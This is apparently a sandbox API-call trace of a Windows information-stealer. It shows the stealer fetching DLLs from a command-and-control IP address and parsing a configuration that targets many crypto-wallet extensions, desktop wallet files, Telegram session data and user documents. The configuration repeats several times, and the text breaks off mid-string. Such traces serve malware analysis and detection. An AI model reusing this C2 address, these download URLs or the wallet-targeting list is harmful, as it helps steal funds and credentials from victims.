[0258.956] lstrlenW (lpString="51.195.166.178") returned 14 [0258.956] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0034 [0258.956] lstrlenW (lpString="Content-Type: text/plain;\r\n\r\n\r\n") returned 31 [0258.956] InternetOpenUrlW (hInternet=0xcc0034, lpszUrl="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll", lpszHeaders="Content-Type: text/plain;\r\n\r\n\r\n", dwHeadersLength=0x1f, dwFlags=0x84400000, dwContext=0x0) returned 0xcc003c [0259.141] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\freebl3.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\freebl3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x2b4 [0259.234] StrStrW (lpFirst="freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.234] lstrlenW (lpString="libs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4872 [0259.234] lstrlenW (lpString="libs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4872 [0259.234] LocalAlloc (uFlags=0x40, uBytes=0x2610) returned 0x6b9720 [0259.234] lstrlenW (lpString="libs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension 